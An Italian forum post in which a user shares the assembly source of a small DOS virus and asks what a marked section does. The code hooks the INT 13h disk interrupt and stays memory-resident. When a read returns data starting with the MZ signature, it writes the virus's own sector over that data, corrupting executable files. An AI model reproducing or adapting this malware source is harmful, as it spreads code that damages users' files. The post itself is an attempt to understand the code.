Ciao ragazzi, ho trovato il codice di un piccolo virus che va a cambiare la IVT per andare a modificare l'indirizzo del INT13 per l'accesso ai dishi.
OK, la parte del codice in INITIAL mi e' chiara, ma purtropo non riesco a comprendere la parete inserita tra le due righe di asterischi.

codice:
ASSUME   CS: CodeSegment
CodeSegment  SEGMENT PARA
	   ORG 100H

START:
MAIN  	   PROC NEAR

HEAD:  	    JMP 	  INITIAL


SAVE_INT13:
	    DD	  0      	         ;inizializzazioni di saved_int13

INT13_SOST:	  	         ;INT13H INTERRUPT DI LETTURA E SCRITTURA SU HD
	    PUSH 	  AX     	         ;AX:OPERAZIONE DA FARE E NUMERO DI SETTORI COINVOLTI
	    PUSH	  BX               ;BX:OFFSET BUFFER DEL PROGRAMMA
	    PUSH	  ES               ;ES:SEGMENT DEL BUFFER
  	    CMP	  AH,02	         ;CONTROLLA SE HE LETTURA 02 LETTURA 03 SCRITTURA
  	    JNE	  no_read

;*********************************************************************************************************************
  	    PUSHF                    		  ; salva il registro di FLAG
	    CALL	 dword ptr CS:[save_int13]     ;chiama il programma vero puntato da CS
					  ;chiama una DW

                                                    ;in ES viene salvato il segmento del buffer
  	    	       	 	     	  ;in BX l'offset del buffer
  	    CMP	 word ptr ES:[BX],5A4DH        ;controlla che nel valore del buffer ES puntato all offset BX
  	    JNE	 no_EXE_file                   ;controlla che i primi 2 byte ZM = 5a4dH

  	    MOV 	 AX, 0301H		  ;in AH mette 03=scrittura e in AL mette 01=numero settori da
                                                    ;scrivere (o leggere)

  	    MOV	 BX, OFFSET HEAD               ;
  	    PUSH	 CS                            ;in ES mette il valore del nostro segmento CS
  	    POP	 ES
;*********************************************************************************************************************
NO_READ:
	    PUSHF       	       	        	  ;SALVA IL REGISTRO DI FLAG
	    CALL 	  dword ptr CS: [save_int13]    ;PASSA ALL'EFFETTIVO INDIRIZZO DELL INT13

no_exe_file:                                    	  ;non effettua alcuna operazione
	    POP  	 ES
	    POP	 BX
	    POP	 AX
	    IRET

INITIAL:

              XOR  	 DX, DX                         ;AZZERA DX pongo praticamente il valore a 0
              MOV  	 DS,DX                          ;l'assegnazione non puo' essere diretta

              MOV  	 AX,DS:[13H*4]		;salva in ax l'indirizzo VERO di INT13H
              MOV  	 word ptr CS:[save_int13],AX    ;
	    MOV  	 AX, DS:[13H*4+2]		;
	    MOV  	 word ptr CS:[save_int13+2],AX  ;salvo in CS il segment dell'INT13h


	    CLI                                  ;tra CLI e STI non possono essere chimati altri INTERRUPT
	    MOV	 AX,OFFSET INT13_SOST         	 ;in AX salvo l'offset che ha il label int13_sost
	    MOV    word ptr DS:[13H*4],AX          ;salvo l'offest in DS che e' riamsto a 0000H
	    PUSH 	 CS                              ;metto in AX il valore di CS
	    POP  	 AX
	    MOV  	 word ptr DS:[13H*4+2],AX        ;copia il valore del segment del mio CS
     	    STI

     	    MOV  	 DX, OFFSET salto_END+1       	 ;VIENE PASSATA LA FINE DEL PROGRAMMA CHE DEVE RESTARE IN ROM

     	    INT  	 27H                      	 ;SALVARE LE MORIFICHE IN RAM

salto_END:

MAIN	    ENDP

CodeSegment   ENDS
	    END START

sapreste cortesemente aiutarmi e indicarmi cosa questo programmino facci ain quelle 10 righe? In particola re nelle ultime 3....


vi ringrazio per l'interessamento e l'aiuto